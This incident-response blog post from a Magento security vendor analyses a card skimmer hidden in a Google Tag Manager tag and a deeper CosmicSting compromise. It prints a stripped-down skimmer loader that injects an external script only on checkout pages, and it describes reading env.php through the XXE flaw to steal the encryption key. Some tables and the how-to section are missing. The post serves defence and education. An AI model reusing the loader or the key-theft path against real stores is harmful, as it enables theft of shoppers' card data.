Incident response · 2026-07-05

The Card Skimmer Hiding in Google Tag Manager — and Why a Clean Scan Missed It

A store owner came to us with a puzzle: one malware scanner said their Magento store was compromised, but their own quick scan came back clean. Both were telling the truth. The card skimmer was real — it just wasn't anywhere the clean scan was looking. It was hiding inside Google Tag Manager, and it only woke up on the checkout page.

When we pulled the thread, the skimmer turned out to be the visible tip of a much deeper compromise: a full CosmicSting (CVE-2024-34102) remote-code-execution intrusion, dozens of staged RCE payloads, polyglot image webshells, and a backdoor planted in a core file that had survived a previous "cleanup." This is the anatomy of that attack — and the uncomfortable lesson it teaches about what a remote scan can and can't prove. Names and indicators are anonymised; the techniques are exactly as found.

Want to know where your store stands? Run a free MageArgus scan — it now fetches and inspects your loaded tag-manager containers, not just your homepage HTML.

1. The skimmer wasn't in the code — it was in the tag manager

The store loaded Google Tag Manager sitewide, which is completely normal. What wasn't normal was one "Custom HTML" tag inside that container. A Custom HTML tag lets you inject any JavaScript you like into every page — a legitimate feature that becomes a skimmer delivery system the moment an attacker gets into the GTM account.

The malicious tag was obfuscated so it wouldn't read as code at a glance. Stripped down, it did this:

// Rebuilds hidden strings from character codes, then:
if (location.href.indexOf('checkout') >= 0 ||
    location.href.indexOf('onepage') >= 0) {
    var s = document.createElement('script');
    s.src = 'https:///get/?s=' + btoa(btoa(location.host));
    document.head.appendChild(s);
}

Three details make this nasty:

• It's gated to checkout. The skimmer script is only injected when the URL contains checkout or onepage — exactly where shoppers type their card number, and nowhere else.
• It's assembled from character codes. The real strings (checkout, the exfil URL, createElement) are built from numeric arrays at runtime, so a simple text search for suspicious keywords finds nothing.
• It lives outside your store. The code is in your Google Tag Manager account, not in your Magento files or database. A file scan and a database scan both come back clean — because the malware genuinely isn't there.

2. Why a homepage scan called it clean

Most fast "is my site hacked?" checks fetch your homepage HTML and look for obvious injected script. Against this skimmer, that approach fails twice over:

• The homepage HTML contained only a normal <script src="googletagmanager.com/gtm.js?id=…"> line — the same one millions of legitimate stores have. Nothing to flag.
• The malicious payload is inside that container file, and it only injects the exfil script on the checkout page. A scanner that never opens the container's contents — and never visits checkout — sees a clean storefront.

This is the gap the competing scanner caught and the quick scan didn't: it had fetched and inspected the loaded scripts (including the tag-manager container), where the obfuscated code actually lived. The lesson isn't "one scanner is better" — it's that a skimmer verdict depends entirely on where the scanner looks. Homepage HTML is not enough.

We've since updated the MageArgus scanner to fetch and analyse the body of loaded tag-manager and analytics containers, decode their Custom HTML tags, and flag the obfuscation signatures above — so this class of attack is caught from the outside.

3. The clean-looking store was fully compromised

The skimmer was the part you could see. Underneath it, the server told a much worse story — a textbook CosmicSting intrusion on an end-of-life Magento 2.3.7:

The entry point tied it all together: on this EOL store, CosmicSting (CVE-2024-34102) was unpatched. That XXE flaw let the attacker read app/etc/env.php and steal the store's encryption key — after which they could forge admin/API access at will and keep dropping payloads, patch or no patch, until the key was rotated.

4. The uncomfortable truth about "clean" scans

Here's what this incident makes concrete: a clean remote scan does not prove your store is clean. A scanner looking at your site from the outside genuinely cannot see:

That last row matters more than it looks. When a scanner says a CVE like CosmicSting or SessionReaper is "possibly affected — can't confirm remotely," that's the honest answer, not a cop-out: there is nothing over HTTP that reliably distinguishes a patched store from an unpatched one. The only way to confirm is to read the files on the server. A remote scan is a fast, free smoke alarm — invaluable for catching what is visible — but "no smoke from the street" isn't a fire-safety certificate.

5. How to check your own store

Related reading

• Anatomy of a Magento Hack: CosmicSting → Card Skimmer → ClickFix
• CosmicSting (CVE-2024-34102): the complete guide
• Magecart skimmers: how card-stealing malware hides in Magento checkouts
• How to protect your Magento store from Magecart skimmers

Scan your store free →